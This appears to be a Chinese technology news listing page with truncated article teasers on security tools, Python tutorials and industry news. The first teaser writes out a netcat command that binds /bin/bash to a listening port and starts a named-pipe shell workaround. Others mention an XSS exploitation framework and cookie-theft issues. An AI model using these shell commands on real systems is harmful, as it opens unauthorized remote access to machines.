NC的原生做法： nc -l -vv -p 2222 -e /bin/bash无法使用NC反弹的时候可以这样 先在tmp创建一个普通管道mknod /tmp/backpipe p或者mkfifo /t...
网络安全
网络安全
BTLE/BT4.0低功耗蓝牙无线发包器（可模拟iBeacon、建
一个基于HACKRF板子的BTLE/BT4.0无线发包器，所有链路层包格式都支持（详见 Chapter 2&3, PartB, Volume 6, Core_V4.0.pd...
XSS Exploit框架 – Xenotix
Xenotix XSS Exploit Framework是一款用于检测和利用WEB应用程序中的XSS漏洞的渗透测试工具。这个工具可以将代码注入到含有xss漏洞的web页面中。 Xenotix的主要特...
斯诺登的大救星：84岁传奇律师要为他翻案
据香港《南华早报》11日报道，有着近50年代理间谍案经验的美国资深律师柏拉图·卡彻里斯，有意为流亡俄罗斯的美国国家安全局前承包商斯诺登辩护。此事让卡彻里斯瞬间成为媒体关注的焦点。在斯诺登事件发生近一周...
Python xmlrpclib模块使用教程
XML-RPC是一种使用xml文本的方式利用http协议传输命令和数据的rpc机制，我们Python的xmlrpclib模块可以让程序与其它任何语言编写的XML-RPC服务器进行数据的传输。 首先，我...
某些浏览器中因cookie设置HttpOnly标志引起的安全问题
1、简介 如果cookie设置了HttpOnly标志，可以在发生XSS时避免JavaScript读取cookie，这也是HttpOnly被引入的原因。但这种方式能防住攻击者吗？HttpOnly标志可以...
Python 并行遍历zip()函数使用方法
今天我们要讲主题是python并行遍历zip()函数使用方法。在讲range()函数使用方法时我们知道了，range()可以在for循环中是以非完备的方式遍历序列，那么zip()并行遍历又是怎么工作的...
业界关注
2014年上半年DDoS攻击威胁报告
网络安全威胁正在变得日益复杂，各类攻击目标、手段及来源始终在不断发生着变化。企业及各类组织需要不断关注这些发展态势，以便能够理解与预测未来可能遭遇的恶意...
业界关注
复盘滴滴VS快的大战2.0，不止是烧钱大战
“为什么滴滴能融资7亿美金？”“因为Uber已经估值400亿美金了。”这不只是一句玩笑话。随着Uber在全球的迅猛发展，其逐渐被认为是继Yahoo、Google、Facebook后的下一个Big Th...
谷歌地图增加“海拔概况” 地形一目了然
近日，谷歌地图为其“骑行路线”（Bike Router）功能悄悄引入了海拔概况（elevation profiles）信息。这项功能旨在为骑行爱好者们提供最佳路线，用户不再需要借助第三方应用来确定前方...
